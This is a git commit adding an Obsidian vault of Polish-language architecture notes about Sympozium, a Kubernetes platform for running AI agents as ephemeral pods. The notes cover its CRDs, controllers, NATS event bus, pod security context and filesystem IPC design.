commit 25c7d598caf60a6b5fb5c565aedb5d9cc0d91ce0 Author: Aleksander Cynarski Date: Wed Mar 25 00:05:57 2026 +0100 initial commit diff --git a/.obsidian/app.json b/.obsidian/app.json new file mode 100644 index 0000000..ae08c9b --- /dev/null +++ b/.obsidian/app.json @@ -0,0 +1,7 @@ +{ + "showLineNumber": true, + "strictLineBreaks": false, + "readableLineLength": true, + "defaultViewMode": "preview", + "promptDelete": false +} \ No newline at end of file diff --git a/.obsidian/appearance.json b/.obsidian/appearance.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/.obsidian/appearance.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/.obsidian/core-plugins.json b/.obsidian/core-plugins.json new file mode 100644 index 0000000..639b90d --- /dev/null +++ b/.obsidian/core-plugins.json @@ -0,0 +1,33 @@ +{ + "file-explorer": true, + "global-search": true, + "switcher": true, + "graph": true, + "backlink": true, + "canvas": true, + "outgoing-link": true, + "tag-pane": true, + "footnotes": false, + "properties": true, + "page-preview": true, + "daily-notes": true, + "templates": true, + "note-composer": true, + "command-palette": true, + "slash-command": false, + "editor-status": true, + "bookmarks": true, + "markdown-importer": false, + "zk-prefixer": false, + "random-note": false, + "outline": true, + "word-count": true, + "slides": false, + "audio-recorder": false, + "workspaces": false, + "file-recovery": true, + "publish": false, + "sync": true, + "bases": true, + "webviewer": false +} \ No newline at end of file diff --git a/.obsidian/graph.json b/.obsidian/graph.json new file mode 100644 index 0000000..0f67350 --- /dev/null +++ b/.obsidian/graph.json @@ -0,0 +1,72 @@ +{ + "collapse-filter": false, + "search": "", + "showTags": true, + "showAttachments": true, + "hideUnresolved": false, + "showOrphans": true, + "collapse-color-groups": false, + "colorGroups": [ + { + "query": "path:01-Przegląd", + "color": { + "a": 1, + "rgb": 3066993 + } + }, + { + "query": "path:02-Architektura", + "color": { + "a": 1, + "rgb": 15105570 + } + }, + { + "query": "path:03-CRD", + "color": { + "a": 1, + "rgb": 10181046 + } + }, + { + "query": "path:04-Zarządzanie-Agentami", + "color": { + "a": 1, + "rgb": 15844367 + } + }, + { + "query": "path:05-Bezpieczeństwo", + "color": { + "a": 1, + "rgb": 15158332 + } + }, + { + "query": "path:06-Komunikacja", + "color": { + "a": 1, + "rgb": 3447003 + } + }, + { + "query": "path:07-Porównania", + "color": { + "a": 1, + "rgb": 1752220 + } + } + ], + "collapse-display": false, + "showArrow": true, + "textFadeMultiplier": 0.4, + "nodeSizeMultiplier": 1, + "lineSizeMultiplier": 1, + "collapse-forces": false, + "centerStrength": 0.518713248970312, + "repelStrength": 12.1796875, + "linkStrength": 1, + "linkDistance": 243, + "scale": 0.6085387073818282, + "close": false +} \ No newline at end of file diff --git a/.obsidian/workspace.json b/.obsidian/workspace.json new file mode 100644 index 0000000..17936f6 --- /dev/null +++ b/.obsidian/workspace.json @@ -0,0 +1,219 @@ +{ + "main": { + "id": "1438085991a77041", + "type": "split", + "children": [ + { + "id": "33bbdaef10851db0", + "type": "tabs", + "children": [ + { + "id": "30ad8e59905fd540", + "type": "leaf", + "state": { + "type": "markdown", + "state": { + "file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md", + "mode": "preview", + "source": false + }, + "icon": "lucide-file", + "title": "Skill Sidecars i auto-RBAC" + } + } + ] + } + ], + "direction": "vertical" + }, + "left": { + "id": "cf33d5ec288affa3", + "type": "split", + "children": [ + { + "id": "9a5245fd274fd84e", + "type": "tabs", + "children": [ + { + "id": "7c2481a6cc620abc", + "type": "leaf", + "state": { + "type": "file-explorer", + "state": { + "sortOrder": "alphabetical", + "autoReveal": false + }, + "icon": "lucide-folder-closed", + "title": "Przeglądarka plików" + } + }, + { + "id": "1ace41ff52e79f6f", + "type": "leaf", + "state": { + "type": "search", + "state": { + "query": "", + "matchingCase": false, + "explainSearch": false, + "collapseAll": false, + "extraContext": false, + "sortOrder": "alphabetical" + }, + "icon": "lucide-search", + "title": "Wyszukiwarka" + } + }, + { + "id": "17f89513fe4ca44d", + "type": "leaf", + "state": { + "type": "bookmarks", + "state": {}, + "icon": "lucide-bookmark", + "title": "Ulubione" + } + } + ] + } + ], + "direction": "horizontal", + "width": 300 + }, + "right": { + "id": "cc9b3f3574a3ab35", + "type": "split", + "children": [ + { + "id": "9fa3ab897538c8a6", + "type": "tabs", + "children": [ + { + "id": "5d66acd011bc92fa", + "type": "leaf", + "state": { + "type": "backlink", + "state": { + "file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md", + "collapseAll": false, + "extraContext": false, + "sortOrder": "alphabetical", + "showSearch": false, + "searchQuery": "", + "backlinkCollapsed": false, + "unlinkedCollapsed": true + }, + "icon": "links-coming-in", + "title": "Linki zwrotne do Skill Sidecars i auto-RBAC" + } + }, + { + "id": "1f5f4f8c4dc56708", + "type": "leaf", + "state": { + "type": "outgoing-link", + "state": { + "file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md", + "linksCollapsed": false, + "unlinkedCollapsed": true + }, + "icon": "links-going-out", + "title": "Łącza wychodzące od Skill Sidecars i auto-RBAC" + } + }, + { + "id": "c298c7c9863bb50f", + "type": "leaf", + "state": { + "type": "tag", + "state": { + "sortOrder": "frequency", + "useHierarchy": true, + "showSearch": false, + "searchQuery": "" + }, + "icon": "lucide-tags", + "title": "Tagi" + } + }, + { + "id": "3e601d078ceb1e82", + "type": "leaf", + "state": { + "type": "all-properties", + "state": { + "sortOrder": "frequency", + "showSearch": false, + "searchQuery": "" + }, + "icon": "lucide-archive", + "title": "Wszystkie atrybuty" + } + }, + { + "id": "db315e8535b67573", + "type": "leaf", + "state": { + "type": "outline", + "state": { + "file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md", + "followCursor": false, + "showSearch": false, + "searchQuery": "" + }, + "icon": "lucide-list", + "title": "Konspekt Skill Sidecars i auto-RBAC" + } + } + ] + } + ], + "direction": "horizontal", + "width": 300, + "collapsed": true + }, + "left-ribbon": { + "hiddenItems": { + "switcher:Otwórz okno szybkiego wyboru": false, + "graph:Otwórz podgląd grafu": false, + "canvas:Stwórz nową tablicę": false, + "daily-notes:Otwórz dzisiejszy dziennik": false, + "templates:Wstaw szablon": false, + "command-palette:Otwórz listę poleceń": false, + "bases:Stwórz nową bazę danych": false + } + }, + "active": "30ad8e59905fd540", + "lastOpenFiles": [ + "MOC - Sympozium.md", + "04-Zarządzanie-Agentami/Persistent Memory.md", + "02-Architektura/NATS JetStream - Event Bus.md", + "08-Słownik-K8s/NATS JetStream.md", + "2026-03-24.md", + "Bez nazwy.base", + "Bez nazwy 1.base", + "Bez nazwy.canvas", + "05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md", + "03-CRD/SympoziumSchedule.md", + "03-CRD/SympoziumPolicy.md", + "03-CRD/SympoziumInstance.md", + "03-CRD/SkillPack.md", + "03-CRD/PersonaPack.md", + "08-Słownik-K8s/Helm Chart.md", + "08-Słownik-K8s/StatefulSet.md", + "03-CRD/MCPServer.md", + "08-Słownik-K8s/DaemonSet.md", + "08-Słownik-K8s/RuntimeClass.md", + "08-Słownik-K8s/Namespace.md", + "03-CRD/AgentRun.md", + "08-Słownik-K8s/Sidecar Pattern.md", + "08-Słownik-K8s/PersistentVolumeClaim.md", + "08-Słownik-K8s/ConfigMap i Secret.md", + "02-Architektura/Przepływ danych i IPC.md", + "08-Słownik-K8s/ownerReference.md", + "08-Słownik-K8s/Finalizer.md", + "08-Słownik-K8s/Controller i Reconciler.md", + "08-Słownik-K8s/Kata Containers.md", + "08-Słownik-K8s" + ] +} \ No newline at end of file diff --git a/01-Przegląd/Czym jest Sympozium.md b/01-Przegląd/Czym jest Sympozium.md new file mode 100644 index 0000000..c2e9c1f --- /dev/null +++ b/01-Przegląd/Czym jest Sympozium.md @@ -0,0 +1,57 @@ +# Czym jest Sympozium + +#sympozium #przegląd + +## Definicja + +Sympozium to **Kubernetes-natywna platforma orkiestracji agentów AI** napisana w Go. Każdy agent AI działa jako efemeryczny pod Kubernetes (Job), z wymuszaniem polityk przez CRD, admission webhooks i RBAC. Komunikacja odbywa się przez NATS JetStream i IPC oparty na systemie plików. + +## Dwa przypadki użycia + +Sympozium obsługuje dwa potężne scenariusze na jednej platformie: + +### 1. Orkiestracja flot agentów AI +- Customer support, code review, data pipelines, dowolne workflow domenowe +- Każdy agent dostaje własny pod, RBAC i network policy z izolacją tenanta + +### 2. Agentowe administrowanie klastrem +- Agenty skierowane "do wewnątrz" - diagnoza awarii, skalowanie, triage alertów, remediacja +- Pełna izolacja, RBAC i audit trail na poziomie Kubernetes + +## Kluczowe cechy + +| Cecha | Opis | +|-------|------| +| **[[PersonaPack\|PersonaPacks]]** | Bundle'e Helm-like dla agentów - aktywuj pack, controller tworzy cały zespół | +| **[[Skill Sidecars i auto-RBAC\|Skill Sidecars]]** | Każdy skill w osobnym sidecarze z efemerycznym RBAC least-privilege | +| **Multi-Channel** | Telegram, Slack, Discord, WhatsApp - każdy kanał jako dedykowany Deployment | +| **[[Persistent Memory]]** | SQLite + FTS5 na PersistentVolume - pamięć przetrwa restarty podów | +| **Scheduled Heartbeats** | Cron-owe uruchomienia agentów: health checks, alert triage, right-sizing | +| **[[Agent Sandbox - gVisor i Kata\|Agent Sandbox]]** | Izolacja na poziomie kernela via gVisor/Kata z warm pools | +| **[[MCPServer\|MCP Servers]]** | External tool providers via Model Context Protocol | +| **TUI & Web UI** | Dashboardy terminalowe i przeglądarkowe | +| **Any AI Provider** | OpenAI, Anthropic, Azure, Ollama - bez vendor lock-in | + +## Technologia + +- **Język:** Go 1.25+ +- **Moduł:** `github.com/sympozium-ai/sympozium` +- **K8s API:** `sympozium.ai/v1alpha1` +- **Licencja:** Apache 2.0 +- **Autor:** twórca [[https://github.com/k8sgpt-ai/k8sgpt|k8sgpt]] i [[https://github.com/AlexsJones/llmfit|llmfit]] + +## Filozofia projektu + +> "From Kubernetes, for Kubernetes" + +Projekt traktuje Kubernetes nie jako platformę deploymentu, ale jako **framework orkiestracji agentów**. Każdy koncept (agent, polityka, skill, schedule) jest wyrażony jako CRD i zarządzany przez dedykowany controller. To podejście pozwala na: + +- **Deklaratywność** - stan pożądany opisany w YAML +- **Reconciliation loops** - automatyczne naprawianie driftu +- **ownerReferences** - automatyczne garbage collection +- **RBAC** - natywna wielotenancja +- **NetworkPolicy** - natywna izolacja sieciowa + +--- + +Powiązane: [[Kluczowe decyzje projektowe]] | [[Control Plane]] | [[Struktura repozytorium]] diff --git a/01-Przegląd/Kluczowe decyzje projektowe.md b/01-Przegląd/Kluczowe decyzje projektowe.md new file mode 100644 index 0000000..e39a494 --- /dev/null +++ b/01-Przegląd/Kluczowe decyzje projektowe.md @@ -0,0 +1,64 @@ +# Kluczowe decyzje projektowe + +#sympozium #architektura #design-decisions + +## Tabela decyzji + +| Decyzja | Prymityw K8s | Uzasadnienie | +|---------|-------------|--------------| +| **Jeden [[Pod]] per agent run** | [[Job]] | Izolacja blast-radius, limity zasobów, automatyczne czyszczenie | +| **Filesystem IPC** | emptyDir volume | Agent pisze do `/ipc/`, [[Sidecar Pattern\|bridge sidecar]] obserwuje via fsnotify i publikuje do [[NATS JetStream]] | +| **[[NATS JetStream]]** | [[StatefulSet]] | Durable pub/sub z replay - kanały i control plane bez bezpośredniego couplingu | +| **[[NetworkPolicy]] isolation** | NetworkPolicy | Agent pods mają deny-all egress; tylko IPC bridge łączy się z event busem | +| **Policy-as-[[CRD - Custom Resource Definition\|CRD]]** | [[Admission Webhook]] | `SympoziumPolicy` gatuje narzędzia i sandboxe - enforcement at admission time | +| **Memory-as-SQLite** | [[PersistentVolumeClaim\|PVC]] + sidecar | SQLite z FTS5 na PVC - semantic search, tagging, upgradeable do vector search | +| **Schedule-as-CRD** | CronJob analogy | `SympoziumSchedule` definiuje recurring tasks z cron expressions | +| **Skills-as-[[ConfigMap i Secret\|ConfigMap]]** | ConfigMap volume | SkillPacks generują ConfigMapy montowane w agent pods | +| **Skill [[Sidecar Pattern\|sidecars]] z auto-[[RBAC]]** | Role/ClusterRole | [[Controller i Reconciler\|Controller]] auto-provisionuje efemeryczny RBAC per run | +| **PersonaPacks** | Operator Bundle | Controller stampuje SympoziumInstances, Schedules i memory ConfigMaps | +| **MCP servers as CRD** | [[Deployment]] + Service | MCPServer CRD zarządza lifecycle, probes tools, bridge translates protocol | +| **Node probe [[DaemonSet]]** | DaemonSet | Odkrywa lokalne inference providers - annotuje nody | + +## Analiza filozofii architekturalnej + +### Ephemeral over Persistent + +Fundamentalna decyzja: **każde wywołanie agenta to nowy pod**. To odwrotność podejścia kagent/CrewAI/LangChain, gdzie agent żyje w długo działającym procesie. + +**Zalety:** +- Blast-radius ograniczony do jednego poda +- Natywne skalowanie horyzontalne +- Automatyczne czyszczenie po zakończeniu +- Każdy run ma własny [[SecurityContext]] + +**Wady:** +- Cold-start per invocation (mitygowany przez warm pools) +- Brak stanu w pamięci między runami (mitygowany przez persistent memory) + +### IPC przez system plików + +Agent nie komunikuje się bezpośrednio z control plane. Zamiast tego: + +``` +Agent → /ipc/*.json → fsnotify watcher → NATS → Controller +``` + +To podejście: +- Eliminuje zależności sieciowe w kontenerze agenta +- Jest language-agnostic (agent mógłby być w dowolnym języku) +- Pozwala na prostą inspekcję (pliki JSON w woluminie) + +### Kubernetes jako framework, nie deployment target + +Sympozium nie "deployuje się na Kubernetes" - ono **jest Kubernetes**. Każdy koncept platformy mapuje się 1:1 na prymitywy K8s: + +- Agent → [[Job]]/[[Pod]] +- Polityka → [[CRD - Custom Resource Definition|CRD]] + [[Admission Webhook]] +- Skill → [[ConfigMap i Secret|ConfigMap]] + [[Sidecar Pattern|Sidecar]] + ephemeral [[RBAC]] +- Schedule → CronJob-like CRD +- Kanał → [[Deployment]] +- Memory → [[PersistentVolumeClaim|PVC]] + SQLite + +--- + +Powiązane: [[Czym jest Sympozium]] | [[Control Plane]] | [[Model bezpieczeństwa Defence-in-Depth]] diff --git a/01-Przegląd/Struktura repozytorium.md b/01-Przegląd/Struktura repozytorium.md new file mode 100644 index 0000000..de65265 --- /dev/null +++ b/01-Przegląd/Struktura repozytorium.md @@ -0,0 +1,78 @@ +# Struktura repozytorium + +#sympozium #kod + +## Layout + +``` +sympozium/ +├── api/v1alpha1/ # Definicje typów CRD (Go) +├── cmd/ # Binaria +│ ├── agent-runner/ # Agent w podzie (LLM loop + tool execution) +│ ├── controller/ # Controller manager (wszystkie reconcilery) +│ ├── apiserver/ # HTTP + WebSocket API server +│ ├── ipc-bridge/ # IPC bridge sidecar (fsnotify → NATS) +│ ├── memory-server/ # Memory sidecar (SQLite + FTS5) +│ ├── web-proxy/ # Web proxy (OpenAI-compat + MCP gateway) +│ ├── webhook/ # Admission webhook +│ ├── node-probe/ # DaemonSet odkrywający inference providers +│ └── sympozium/ # CLI + TUI (Bubble Tea) +├── web/ # Web dashboard (React + TypeScript + Vite) +├── channels/ # Implementacje kanałów +│ ├── telegram/ +│ ├── slack/ +│ ├── discord/ +│ └── whatsapp/ +├── internal/ # Pakiety wewnętrzne +│ ├── controller/ # 6 reconcilerów + routery +│ ├── orchestrator/ # PodBuilder & Spawner +│ ├── apiserver/ # Handlery API +│ ├── mcpbridge/ # MCP bridge sidecar +│ ├── eventbus/ # NATS JetStream +│ ├── ipc/ # IPC bridge +│ ├── webhook/ # Enforcement polityk +│ ├── webproxy/ # OpenAI proxy + MCP + rate limiting +│ ├── session/ # Sesje (PostgreSQL) +│ └── channel/ # Bazowe typy kanałów +├── config/ # Manifesty K8s +│ ├── crd/bases/ # Wygenerowane CRD YAML +│ ├── personas/ # Wbudowane PersonaPacks +│ ├── skills/ # Wbudowane SkillPacks +│ ├── policies/ # Presety SympoziumPolicy +│ └── samples/ # Przykładowe CR +├── charts/sympozium/ # Helm chart +├── migrations/ # Migracje PostgreSQL +├── test/integration/ # Testy integracyjne (shell) +├── docs/ # Dokumentacja +└── images/ # Dockerfiles +``` + +## Kluczowe pliki + +| Plik | Rola | +|------|------| +| `api/v1alpha1/*_types.go` | Definicje wszystkich CRD | +| `internal/controller/agentrun_controller.go` | Serce systemu - reconciliation AgentRun → Job/Sandbox | +| `internal/controller/sympoziuminstance_controller.go` | Zarządzanie instancjami, kanałami, memory | +| `internal/orchestrator/podbuilder.go` | Budowanie spec'ów podów agentów | +| `cmd/agent-runner/tools.go` | 7 wbudowanych narzędzi agenta | +| `internal/eventbus/types.go` | Definicje tematów NATS | + +## Komponenty jako kontenery + +| Komponent | Obraz | Rola | +|-----------|-------|------| +| `controller` | Controller manager | Reconciluje wszystkie CRD | +| `apiserver` | API server | HTTP + WebSocket + embedded web UI | +| `agent-runner` | Agent | LLM provider agnostic runner | +| `ipc-bridge` | Sidecar | fsnotify → NATS bridge | +| `mcp-bridge` | Sidecar | MCP protocol translator | +| `memory-server` | Sidecar/Deployment | SQLite + FTS5 | +| `web-proxy` | Web proxy | OpenAI-compat API | +| `webhook` | Admission webhook | Policy enforcement | +| `node-probe` | DaemonSet | Inference discovery | +| `channel-*` | Channel pods | Telegram, Slack, Discord, WhatsApp | + +--- + +Powiązane: [[Czym jest Sympozium]] | [[Control Plane]] diff --git a/02-Architektura/Control Plane.md b/02-Architektura/Control Plane.md new file mode 100644 index 0000000..991aaa4 --- /dev/null +++ b/02-Architektura/Control Plane.md @@ -0,0 +1,88 @@ +# Control Plane + +#sympozium #architektura #control-plane + +## Komponenty + +Control Plane Sympozium składa się z następujących komponentów: + +### Controller Manager +Serce systemu. Zawiera **6 [[Controller i Reconciler|reconcilerów]]** + 2 routery: + +| Reconciler | CRD | Odpowiedzialność | +|------------|-----|------------------| +| `AgentRunReconciler` | AgentRun | Tworzy Job/Sandbox CR, monitoruje lifecycle, zbiera wyniki | +| `SympoziumInstanceReconciler` | SympoziumInstance | Zarządza kanałami, memory, web endpoints | +| `PersonaPackReconciler` | PersonaPack | Stampuje instancje, schedules, memory z packów | +| `SkillPackReconciler` | SkillPack | Generuje ConfigMapy ze skilli | +| `SympoziumPolicyReconciler` | SympoziumPolicy | Zarządza politykami | +| `SympoziumScheduleReconciler` | SympoziumSchedule | Tworzy AgentRuns wg harmonogramu cron | +| `MCPServerReconciler` | MCPServer | Deployuje i probeuje MCP serwery | + +**Routery** (reagują na eventy NATS): +- `ChannelRouter` - przetwarza wiadomości z kanałów → tworzy AgentRun +- `ScheduleRouter` - obsługuje `schedule.upsert` z agentów → tworzy/aktualizuje SympoziumSchedule + +### API Server +- HTTP + WebSocket API +- Serwuje embedded web UI (React) +- Czyta annotacje node'ów (inference discovery) +- Sesje i historia w PostgreSQL + +### [[Admission Webhook]] +- Enforces `SympoziumPolicy` przy tworzeniu AgentRun +- Waliduje sandbox requirements, tool gating, feature gates +- Działa at admission time, nie at runtime + +### [[NATS JetStream]] +- Durable pub/sub event bus +- Decouples kanały od control plane +- Replay capability dla niezawodności + +## Warstwa danych + +| Magazyn | Zastosowanie | +|---------|-------------| +| **etcd** | [[CRD - Custom Resource Definition|CRD]] state (via K8s API) | +| **PostgreSQL** | Sesje, historia konwersacji | +| **SQLite + FTS5** | Persistent memory agentów (na PVC) | +| **[[ConfigMap i Secret\|ConfigMaps]]** | Skills, legacy memory | +| **[[ConfigMap i Secret\|Secrets]]** | Klucze API providerów | + +## Przepływ reconciliation + +``` +User/Channel → Wiadomość + ↓ +Channel Pod → NATS (channel.message.received) + ↓ +Channel Router → Tworzy AgentRun CR + ↓ +AgentRun Reconciler: + 1. Walidacja polityki (SympoziumPolicy) + 2. Tworzenie input ConfigMap (task + system prompt) + 3. Rozwiązywanie skill sidecars (SkillPack CRDs) + 4. Rozwiązywanie MCP serverów + 5. Tworzenie Job/Sandbox CR z: + - Agent container + - IPC bridge sidecar + - Skill sidecars (z auto-provisioned RBAC) + - MCP bridge sidecar (opcjonalnie) + - Sandbox sidecar (opcjonalnie) + 6. Monitorowanie faz: Pending → Running → Succeeded/Failed + 7. Zbieranie wyników z logów poda + 8. Ekstrakcja memory updates + 9. Czyszczenie RBAC i zasobów +``` + +## Metryki OTel + +Controller eksportuje metryki OpenTelemetry: +- `sympozium.agent.runs` - counter zakończonych runów +- `sympozium.agent.duration_ms` - histogram czasu trwania +- `sympozium.errors` - counter błędów +- `sympozium.web_endpoint.serving` - aktywne deployments server-mode + +--- + +Powiązane: [[Cykl życia Agent Pod]] | [[NATS JetStream - Event Bus]] | [[Orchestrator - PodBuilder i Spawner]] diff --git a/02-Architektura/Cykl życia Agent Pod.md b/02-Architektura/Cykl życia Agent Pod.md new file mode 100644 index 0000000..a88be76 --- /dev/null +++ b/02-Architektura/Cykl życia Agent Pod.md @@ -0,0 +1,114 @@ +# Cykl życia Agent Pod + +#sympozium #architektura #agent-pod + +## Anatomia Agent Pod + +Każdy agent run tworzy pod z następującymi kontenerami: + +``` +┌─────────────────────────────────────────────────────┐ +│ Agent Pod (Job) │ +│ │ +│ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ +│ │ Agent │ │ IPC Bridge │ │ Skill Sidecar│ │ +│ │ Container │ │ Sidecar │ │ (kubectl, │ │ +│ │ │ │ │ │ helm, etc.) │ │ +│ │ - LLM loop │ │ - fsnotify │ │ │ │ +│ │ - Tool exec │ │ - NATS pub │ │ - /workspace │ │ +│ │ - /skills │ │ - /ipc │ │ - RBAC scope │ │ +│ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ │ +│ │ │ │ │ +│ /workspace /ipc (tmpfs) /workspace │ +│ /skills (ro) (RAM-backed) │ +│ /ipc │ +│ /tmp │ +│ │ +│ ┌──────────────┐ ┌──────────────┐ │ +│ │ MCP Bridge │ │ Sandbox │ │ +│ │ (opcjonalny) │ │ (opcjonalny) │ │ +│ └──────────────┘ └──────────────┘ │ +└─────────────────────────────────────────────────────┘ +``` + +## Woluminy + +| Wolumin | Typ | Rozmiar | Cel | +|---------|-----|---------|-----| +| `workspace` | emptyDir | 1Gi | Współdzielone pliki robocze agent ↔ sidecary | +| `ipc` | emptyDir (RAM) | 64Mi | JSON IPC: agent → bridge → NATS | +| `skills` | Projected ConfigMap | - | Markdown instrukcje ze SkillPacks (read-only) | +| `tmp` | emptyDir | 256Mi | Tymczasowe pliki (read-only root FS) | + +## [[SecurityContext]] agenta + +Hardened security context - patrz [[SecurityContext]] dla wyjaśnienia poszczególnych pól: + +```go +SecurityContext: &corev1.SecurityContext{ + ReadOnlyRootFilesystem: &readOnly, // true - root FS read-only + AllowPrivilegeEscalation: &noPrivEsc, // false - blokuje setuid + Capabilities: &corev1.Capabilities{ + Drop: []corev1.Capability{"ALL"}, // Drop ALL Linux capabilities + }, +} +``` + +## Zasoby + +| Kontener | CPU Request | CPU Limit | Memory Request | Memory Limit | +|----------|-------------|-----------|----------------|--------------| +| Agent | 250m | 1 | 512Mi | 1Gi | +| IPC Bridge | 50m | 100m | 64Mi | 128Mi | +| Sandbox | 100m | 500m | 256Mi | 512Mi | + +## Fazy lifecycle + +``` +Pending → Running → Succeeded + → Failed + → Serving (tryb server) +``` + +### Pending +1. Walidacja polityki +2. Tworzenie ServiceAccount `sympozium-agent` +3. Tworzenie input ConfigMap (task, system prompt, memory) +4. Rozwiązywanie sidecars i RBAC +5. Tworzenie Job/Sandbox CR + +### Running +- Polling statusu poda co 10 sekund +- Monitorowanie completion/failure + +### Succeeded/Failed +1. Zbieranie logów poda (wynik agenta) +2. Ekstrakcja memory markers z outputu +3. Aktualizacja memory ConfigMap +4. Usuwanie efemerycznego RBAC +5. Pruning historii (domyślnie 50 runów per instancja) +6. Usuwanie finalizera + +### Serving (tryb server) +- Deployment zamiast Job +- Service dla routowania +- Używany dla web-endpoint +- Długo żyjący, nie jest garbage-collectowany po zakończeniu + +## Zmienne środowiskowe agenta + +| Zmienna | Wartość | +|---------|---------| +| `AGENT_RUN_ID` | Nazwa AgentRun CR | +| `AGENT_ID` | ID konfiguracji agenta | +| `SESSION_KEY` | Klucz sesji | +| `INSTANCE_NAME` | Nazwa SympoziumInstance | +| `MODEL_PROVIDER` | openai/anthropic/azure/ollama | +| `MODEL_NAME` | Identyfikator modelu | +| `THINKING_MODE` | off/low/medium/high | +| `SPAWN_DEPTH` | Głębokość zagnieżdżenia sub-agenta | +| `TRACEPARENT` | W3C traceparent (OTel) | + +--- + +Powiązane: [[Control Plane]] | [[Orchestrator - PodBuilder i Spawner]] | [[Skill Sidecars i auto-RBAC]] diff --git a/02-Architektura/NATS JetStream - Event Bus.md b/02-Architektura/NATS JetStream - Event Bus.md new file mode 100644 index 0000000..f8cf97f --- /dev/null +++ b/02-Architektura/NATS JetStream - Event Bus.md @@ -0,0 +1,59 @@ +# NATS JetStream - Event Bus + +#sympozium #architektura #nats #messaging + +## Rola w systemie + +NATS JetStream pełni rolę **centralnego event bus** łączącego wszystkie komponenty Sympozium. Jest deployowany jako StatefulSet w namespace `sympozium-system`. + +## Dlaczego NATS? + +| Cecha | Wartość dla Sympozium | +|-------|----------------------| +| **Durable pub/sub** | Wiadomości nie są tracone przy restartach podów | +| **Replay** | Kanały mogą odtworzyć niezrealizowane wiadomości | +| **Lightweight** | Minimalne zasoby vs Kafka/RabbitMQ | +| **Cloud-native** | Natywne wsparcie K8s | +| **Decoupling** | Kanały i agenty nie muszą wiedzieć o sobie | + +## Topologia + +``` +┌──────────────┐ ┌──────────────┐ ┌──────────────┐ +│ Channel Pods │ │ NATS │ │ Controller │ +│ (Telegram, │────►│ JetStream │◄────│ Manager │ +│ Slack, etc.)│◄────│ │────►│ │ +└──────────────┘ │ StatefulSet │ └──────────────┘ + │ sympozium- │ +┌──────────────┐ │ system │ ┌──────────────┐ +│ IPC Bridge │────►│ │ │ Schedule │ +│ (sidecars) │◄────│ │ │ Router │ +└──────────────┘ └──────────────┘ └──────────────┘ +``` + +## Połączenie + +Wszystkie komponenty łączą się pod adresem: +``` +nats://nats.sympozium-system.svc:4222 +``` + +Zmienna środowiskowa: `EVENT_BUS_URL` + +## Wzorzec komunikacji + +1. **Request/Reply** - tool execution (request → sidecar → result) +2. **Pub/Sub** - lifecycle events (run.started, run.completed) +3. **Queue Groups** - channel messages (load-balanced between consumers) + +## Dlaczego nie bezpośrednia komunikacja? + +Agent pod nie ma dostępu sieciowego (NetworkPolicy deny-all). Jedyny komponent z dostępem do NATS to **IPC Bridge sidecar**. To zapewnia: + +- Agent nie może bezpośrednio komunikować się z innymi podami +- Całość komunikacji przechodzi przez kontrolowany kanał +- Łatwe auditowanie (jeden punkt wejścia/wyjścia) + +--- + +Powiązane: [[Przepływ danych i IPC]] | [[Control Plane]] | [[NetworkPolicy i izolacja sieciowa]] diff --git a/02-Architektura/Orchestrator - PodBuilder i Spawner.md b/02-Architektura/Orchestrator - PodBuilder i Spawner.md new file mode 100644 index 0000000..1727ad8 --- /dev/null +++ b/02-Architektura/Orchestrator - PodBuilder i Spawner.md @@ -0,0 +1,104 @@ +# Orchestrator - PodBuilder i Spawner + +#sympozium #architektura #orchestrator + +## Lokalizacja + +`internal/orchestrator/` - pakiet odpowiedzialny za budowanie specyfikacji podów i spawning Job'ów. + +## PodBuilder + +`PodBuilder` to struct odpowiedzialny za konstruowanie pod spec'ów. Konfigurowany jest tagiem obrazów: + +```go +type PodBuilder struct { + DefaultAgentImage string // agent-runner + DefaultIPCBridgeImage string // ipc-bridge + DefaultSandboxImage string // sandbox + DefaultMCPBridgeImage string // mcp-bridge + EventBusURL string // nats://nats.sympozium-system.svc:4222 + ImageTag string // np. "v0.0.25" +} +``` + +Registry: `ghcr.io/sympozium-ai/sympozium` + +## Budowanie kontenerów + +### BuildAgentContainer +Główny kontener agenta z: +- Read-only root filesystem +- Drop ALL capabilities +- No privilege escalation +- Woluminy: workspace, skills (ro), ipc, tmp +- EnvFrom: secret z kluczem API + +### BuildIPCBridgeContainer +Sidecar IPC bridge z: +- Wolumin ipc (shared z agentem) +- Env: AGENT_RUN_ID, INSTANCE_NAME, EVENT_BUS_URL +- Opcjonalnie: TRACEPARENT, OTEL_* (observability) + +### BuildSandboxContainer +Opcjonalny sidecar sandbox z: +- Read-only root filesystem +- Drop ALL capabilities +- Command: `sleep infinity` (czeka na komendy z agenta) +- Woluminy: workspace, tmp + +### BuildVolumes +4 woluminy: +- `workspace` - emptyDir 1Gi +- `ipc` - emptyDir (Memory medium) 64Mi - **RAM-backed** dla szybkości +- `tmp` - emptyDir 256Mi +- `skills` - Projected volume z ConfigMapów SkillPacks + +## AgentPodConfig + +Konfiguracja przekazywana do buildera: + +```go +type AgentPodConfig struct { + RunID string + InstanceName string + AgentID string + SessionKey string + ModelProvider string + ModelName string + ThinkingMode string + AuthSecretRef string + SandboxEnabled bool + SandboxImage string + SpawnDepth int + Skills []SkillMount + Traceparent string // W3C traceparent + OTelEndpoint string // OTLP endpoint +} +``` + +## Proces tworzenia poda (w AgentRunReconciler) + +``` +1. reconcilePending() + ├── validatePolicy() - sprawdza SympoziumPolicy + ├── ensureAgentServiceAccount() - ServiceAccount w namespace + ├── createInputConfigMap() - task + system prompt + ├── resolveSkillSidecars() - SkillPack CRDs → sidecar specs + ├── ensureMCPConfigMap() - konfiguracja MCP serwerów + ├── buildContainers() - PodBuilder buduje spec + ├── createEphemeralRBAC() - Role + RoleBinding per sidecar + └── createJob() / createSandboxCR() - finalne tworzenie zasobu K8s +``` + +## Relacja z AgentRun Controller + +`AgentRunReconciler` (`internal/controller/agentrun_controller.go`) jest "klientem" PodBuilder'a. Reconciler: +1. Obserwuje AgentRun CRDs +2. Używa PodBuilder do budowania spec'ów +3. Tworzy Job/Sandbox CR w Kubernetes +4. Monitoruje lifecycle poda +5. Zbiera wyniki i czyści zasoby + +--- + +Powiązane: [[Cykl życia Agent Pod]] | [[AgentRun]] | [[Cykl życia 